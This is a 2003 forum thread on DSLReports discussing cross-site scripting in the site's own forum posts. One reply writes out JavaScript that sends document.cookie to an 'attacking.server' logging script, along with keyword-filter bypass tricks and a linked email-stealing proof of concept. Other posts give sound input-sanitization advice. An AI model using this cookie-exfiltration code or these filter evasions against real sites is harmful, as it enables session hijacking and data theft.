Sarick
It's Only Logical
Premium
join:2003-06-03
USA
 ·FrontierNet Intern..
| reply to bobince
Re: DSLreports Clicking a link in forums?
said by bobince  :
--
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/
Wow my system won't load that page. |
|
Jason Levine
Premium
join:2001-07-13
USA
| reply to Sarick
said by Sarick :
Links however can prove to be nasty. I've tried to set IE to block active X it kills the browser!
I use MyIE2 (an IE "wrapper" program that adds tabbing, pop-up blocking, etc) and I can set it to not load ActiveX, Java, Images, etc. Of course, the better method is the one JayKayKay described of using the Trusted Zone for sizes that need ActiveX and the Internet Zone for sites that don't need it.
--
-Jason Levine
http://www.jasons-toolbox.com/
http://www.PCQandA.com/
http://www.urateit.com/ |
|
Marilla
I Am My Own Arbiter
Premium
join:2002-12-06
Belpre, OH
| reply to Sarick
Umm.. something to add here:
I would be very, very careful about putting ANY website in the 'Trusted Zone'... in particular, I would never ever put a website that has forums in the 'trusted sites' zone... even my own forum site, I would never put in the Trusted Sites zone. |
|
bobince
join:2002-04-19
DE
| reply to Sarick
That's My Pet X wrote:
I'm still not convinced that this amounts to a security problem here, as I do not believe that Javascript would be given access to grab a file from the system (cookies), and then pass that information on to a website.. I dunno. It's not grabbing a file as such, it's grabbing everything that DLSR itself would have access to, which includes DSLR's own cookies. Once the info is grabbed, sending it to another server is absolutely trivial, you just do any JavaScript operation that results in an HTTP request, and append the cookie to the URL. Often this is done with something like:
im= new Image();
im.src= '»attacking.server/logcookie.cgi?'···.cookie;
but there are many other ways of doing it, which may work better in various circumstances.
lysw1 wrote:
Thank goodness for SurfinGuardPro. What's with all the ActiveX controls at www.doxdesk.com? No ActiveX controls as such, but there is a JavaScript that probes for various ActiveX controls being installed, in order to search for spyware and various other nasties.
--
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/ |
|
Marilla
I Am My Own Arbiter
Premium
join:2002-12-06
Belpre, OH
| said by bobince :
It's not grabbing a file as such, it's grabbing everything that DLSR itself would have access to, which includes DSLR's own cookies. Once the info is grabbed...
*SNIP*
STOP! right there! Back up... "It's grabbing everything that DLSR itself would have access to..."... That's where you lose me; I know that Javascript can easily direct the browser to ANY webpage at all, anywhere in the world, and include any information in the querystring that it is able to get... that much is not at all in question... I write web pages that use Javascript to do this almost every day..
What's in question is whether, under 'good' security settings, Javascript would get "everything that DLSR itself would have access to" in the first place... how?
Simple question that'll answer this for me: All I ever use Javascript for is form information validation, and navigation... so, does Javascript actually have access to cookie values? By what mechanism?
If so, then I understand exactly what you are saying.
Oh.. and my name is "Marilla", not "That's my Pet X" hehe
[text was edited by author 2003-07-25 01:43:12] |
|
bobince
join:2002-04-19
DE
| Marilla wrote:
What's in question is whether, under 'good' security settings, Javascript would get "everything that DLSR itself would have access to" in the first place... how? Because a script included in a page at example.com is allowed to make a connection to example.com under user credentials, take any action the user can take manually, and read the contents of the returned document.
So for example if I want to find out your real e-mail address, I can include a JavaScript hack in this posting that adds an invisible iframe to the page, sets its location to www.dslreports.com/prof, and accesses (iframe).document.forms[0].elements['email'].value.
Similarly I can script the elements in an iframe to make you post something, add something to your profile, or whatever. The only thing I can't do is grab your password, because the browser doesn't send your password and DSLR never returns it.
Simple question that'll answer this for me: All I ever use Javascript for is form information validation, and navigation... Do you mean as a site user or a site author?
As a site author you don't usually have to worry about your own scripts; as long as they don't accept user input and add it to the page, they're pretty much safe. What you have to worry about, if you have a forum, is ensuring that other people can't sneak their own scripts onto your pages my means of posting hacks.
so, does Javascript actually have access to cookie values? By what mechanism? The 'cookie' property of the 'document' object. eg. try entering javascript:alert(document.cookie) into the address bar.
There are perfectly good reasons for allowing JavaScript to read and set cookies. (For example I use it to implement a hash-based authentication mechanism for when HTTP Digest Authentication isn't available.) The problem is only when a site allows scripts on it that aren't controlled by that site.
--
Andrew Clover
mailto:and@doxdesk.com
http://www.doxdesk.com/ |
|
Marilla
I Am My Own Arbiter
Premium
join:2002-12-06
Belpre, OH
| Thank you... you answered my questions! As I noted, I use Javascript a LOT, but usually just to validate forms input - say, to pop up an 'alert' when a required field is missing, so as to avoid a trip to the server, which will only complain about the same thing... and I use it for "Go Back" links, with the history.go(-1) thing, and that's pretty much it...
So I really wasn't aware of what, if any, options there were for accessing stuff like this.... what functions and such Javascript provided which would allow for such information to be gotten... Because a forum like this essentially allows a user to 'write web pages' on the site, I see what you mean, and I very much agree that filters should be added to remove such things (one nice thing about Javascript: It's VERY picky about things like capitalization and such, so functions to replace possibly dangerous JS could 'break' JS functionality without actually harming the appearance of legitimate posts.
And now that you've pointed this out, I'll be adding some more such functions to my OWN public forum system (I programmed my own system that people pay a small fee to customize and use on their sites)... it currently filters out many client-side script things, but this discussion has made me consider a possibility that I'm not sure I covered... so I'll be looking into that to make sure my own users are not exposed to such possible exploits. |
|
bobince
join:2002-04-19
DE
| reply to Sarick
functions to replace possibly dangerous JS could 'break' JS functionality without actually harming the appearance of legitimate posts. Ehh. I'm not sure it's worth bothering too much with this. Almost all blocks of this kind are pretty easy to get around.
Say you block the word 'cookie'; I can use document['coo'+'kie'] instead. You block 'document', I use eval('do\x63ument'). And so on. If an attacker has a Turing-compliant programming language at their fingertips, you're onto a loser. 
Easier is to try to prevent scripting content getting through at all. Although it's still quite difficult, as it demonstrated by the vulnerability of the vast majority of fora out there including DSLR!
The basics:
* Limit special markup to as few features as possible and make sure they must be matched exactly. If using HTML-style markup, do not allow any attributes to be submitted other than required ones, and require input in a fixed form. Ideally, avoid allowing HTML-style markup in posts at all.
* HTML-encode all text and values included in attributes (eg. URLs in images) on output. There should be no avenue for the poster to get a literal ampersand, quote or left angle bracket into a post.
* If links or images are allowed, disallow any URL method not known-good (http, https, ftp). There are more URL types that can be dangerous than just javascript:.
* Ensure the character set of the final page the untrusted input will appear in is stated, either in the HTML or HTTP headers. If the character set is UTF-8, ensure invalid character sequences cannot be output, for example by storing the posting itself as 16-bit-wide character strings.
(Apologies for the boringness of this post!)
--
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/ |
|
Sarick
It's Only Logical
Premium
join:2003-06-03
USA | why can't all imag links be locked to image files. (alrady done)
and all web URLs be clear text so if you want to link to them you cut and past. That might help right?
At least until the security risk is fixed. |
|
ChrisXP
United We Stand, Divided We Fall
Premium
join:2002-12-13
USA
| This is a very informative thread.
Takes awhile to get through the roadblocks, but once it does get through progress is made.
Good job, Sarick, good job! And I love your quote:
"I know I'm not Stupid, A stupid person doesn't ask questions."
CXP
--
"It's not what you see that's suspect, but how you interpret what you see." ~~~ Isaac Asimov
Remember 9/11: Bodies found "intact": 289
Body parts found: 19,858
Families who received no remains: 1,717 |
|
Sarick
It's Only Logical
Premium
join:2003-06-03
USA
·FrontierNet Intern..
| said by ChrisXP :
This is a very informative thread.
Takes awhile to get through the roadblocks, but once it does get through progress is made.
Good job, Sarick, good job! And I love your quote:
"I know I'm not Stupid, A stupid person doesn't ask questions."
CXP
Thank you for that comment. |
|
nil
Java Geek
join:2000-11-27
Host:
Webmasters and Dev..
Forum Feature Requ..
| reply to Sarick
Okay.. you guys say you can get my email address using JavaScript?
Have at it.. I just changed it to a random address (but a valid one).. First to find out what it is will get a cookie.
Use the »/dev/null forum for this though.
--
Life is too short to be boring |
|
Marilla
I Am My Own Arbiter
Premium
join:2002-12-06
Belpre, OH
| Just one note about this, before I actually start working on it (as I posted in the comments on the news item related to this, I am terribly busy this weekend... we publish a monthly paper, and monday is when it gets printed!)...
First, you are aware that this will require that we force redirection to another website, right? I also want to make sure that NO ONE innocently clicks on the link to the thread I will start, as if this works, even clicking on that link will cause... err.. nevermnd; I think we've already shown that by putting Javascript in the IMG tag SRC attribute, it can load automatically... so now we can just put the Javascript in an A tag with copious warnings that it is a test of an exploit that steals personal information, and then the website link itself could, perhaps simply report back your own e-mail... since it will be loading at a TOTALLY DIFFERENT web domain, I think that the site simply displaying the e-mail would be sufficient? I promise that if I do this, I WON'T use any 'client side' tricks to cause the e-mail to display - the SERVER itself will put the e-mail on the page, meaning the server could just as easily have stored the information.
As I'm going through this... and I still may do it... something strikes me.
This offers no way to know someone's PASSWORD for their account, since, I'm assuming, the account page does not display the password, in text or in HTML. I'd still consider it troublesome to be able to get something like the e-mail (and assuming I get the thumb'-up on what I've noted above) I'll still do the proof of concept, if I can.. although it may be better for someone more familiar with Javascript to do it.. hehe.. I'd need to do a bit of referring to references, first! |
|
nil
Java Geek
join:2000-11-27
Host:
Webmasters and Dev..
Forum Feature Requ..
| Hm, well, to make this more secure I can create a private forum to which only you and I can post? That way nobody will accidentally stumble and scream to heaven about their security being compromised..
I don't think you can do this.. but if you can, more power to you and then we'll at least know we have to patch up a serious hole.
--
Life is too short to be boring |
|
jdong
Eat A Beaver, Save A Tree.
Premium
join:2002-07-09
Rochester, MI
clubs:   | Hmm, the simplest way of patching this hole:
Check that all SRC and HREF start with http(s)/ftp, if they don't add them.
--
---This area is intentionally left blank.--- |
|
bobince
join:2002-04-19
DE
| reply to nil
to make this more secure I can create a private forum to which only you and I can post? That sounds like not a bad idea.
I don't think you can do this.. Here's an e-mail stealing exploit:
»/forum/remark,···#7511839
Feel free to delete once tested!
--
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/ |
|
nil
Java Geek
join:2000-11-27
Host:
Webmasters and Dev..
Forum Feature Requ..
| hum, okay.. so what's my email address? I did click on it..
It didn't open a new window for me.. but for those that did.. did it show you *your* /prof or someone elses?
Which is my point.. yes, you can show them their own email address.. big deal.. doesn't mean you can steal it..
--
Life is too short to be boring
[text was edited by author 2003-07-27 12:18:52] |
|
Buddel3
join:2003-03-26 | Yes, I could see my own email address after clicking on this link. The question is whether it can be seen by other people as well. |
|
nil
Java Geek
join:2000-11-27 | That's my point.. it just show *you* what *you* have access to.. not to others what they don't. It's not a security risk at all.
--
Life is too short to be boring |
|
Buddel3
join:2003-03-26 | You are right. If I'm the only person who can see my own email address, I don't think it's something to worry about. I wouldn't call this a security risk either. |
|
